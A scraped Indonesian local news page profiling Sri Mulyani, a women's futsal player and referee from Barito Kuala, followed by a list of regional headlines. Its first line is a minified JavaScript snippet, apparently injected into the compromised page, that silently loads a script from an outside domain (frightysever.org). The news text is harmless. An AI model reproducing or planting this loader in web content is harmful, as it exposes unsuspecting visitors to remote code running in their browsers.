(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sri Mulyani, Geluti Futsal karena Restu Sang Ibu


MARABAHAN, Gadis berjilbab itu baru berusia 18 tahun saat menjadi atlet futsal. Namun, diawal kiprahnya itu Ia telah ikut mengharumkan nama Kabupaten Barito Kuala dengan membawa medali perunggu pada Pekan Olah Raga Provinsi (Porprov) Kalsel pada 2017 lalu.

Namanya Sri Mulyani. Tapi lebih akrab disapa Caca. “Restu orang tua lah yang membawa Saya sampai pada tahap ini. Khususnya ibu yang terus mendukung Saya,” akunya kepada kanalkalimantan.com, Minggu (22/12) saat bertugas menjadi wasit dalam even kompetisi futsal se-Kalsel di Gedung Nippures Futsal Marabahan.

Dukungan sang Ayah bukan berarti tak ada. “Ayah dukung juga tapi lebih sering khawatir karena takut Saya cidera,” ungkap Caca.

Cidera menjadi kejadian yang biasa dialami Caca. Bahkan pernah satu kali jempol kakinya mengalami dislokasi (tulang bergeser) saat latihan.

Meski demikian, Sang Ibu lah yang tak bosan mendukungnya. “Terima kasih untuk Ibu yang telah mendidik dan mendukung Saya sampai detik ini,” ucap Caca.

Tahun 2017 menjadi tahun pertama Caca melangkah menjadi atlet futsal. “Waktu itu Saya ikut lomba lari, lalu dikenalkan dengan pelatih futsal, Bapak Sofyan. Dari situ Saya disuruh ikut latihan di Marabahan, tiga kali seminggu,” kenangnya.

Disinggung soal motivasi, Caca yang saat ini sudah berusia 20 tahun itu mengaku hanya ingin menunjukkan bahwa perempuan pun bisa berprestasi di cabang olahraga futsal tanpa harus melepaskan jatidirinya sebagai perempuan. “Kita harus terus semangat dan meluruskan niat,” ucap gadis yang memutuskan berjilbab baru-baru ini. Baginya, jilbab tak menghalangi seseorang untuk berprestasi. Buktinya, Caca kini menjadi atlet andalah tim futsal puteri Batola.

“Saya berharap bisa masuk menjadi timnas suatu saat nanti,” tuturnya dengan senyum simpul. Hal itulah yang membuatnya terus konsisten di dunia futsal. Meski sekarang Caca telah menjadi mahasiswa di Banjarbaru, namun Ia tak pernah berhenti latihan.

“Untuk para perempuan yang saat ini menggeluti dunia olahraga teruslah berjuang dan jangan pernah menggunakan obat. Rutin saja berlatih dan ukir prestasi,” ucapnya menutup obrolan siang itu. (Retno)

Reporter : Retno
Editor : Chell


Desy Arfianty

Recent Posts

Empat Nama Masuk Penjaringan Partai Nasdem Kalsel, Melirik Pilkada Banjarmasin, Tabalong, dan HSS

KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More

27 menit ago

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

13 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

13 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

13 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

14 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

16 jam ago

This website uses cookies.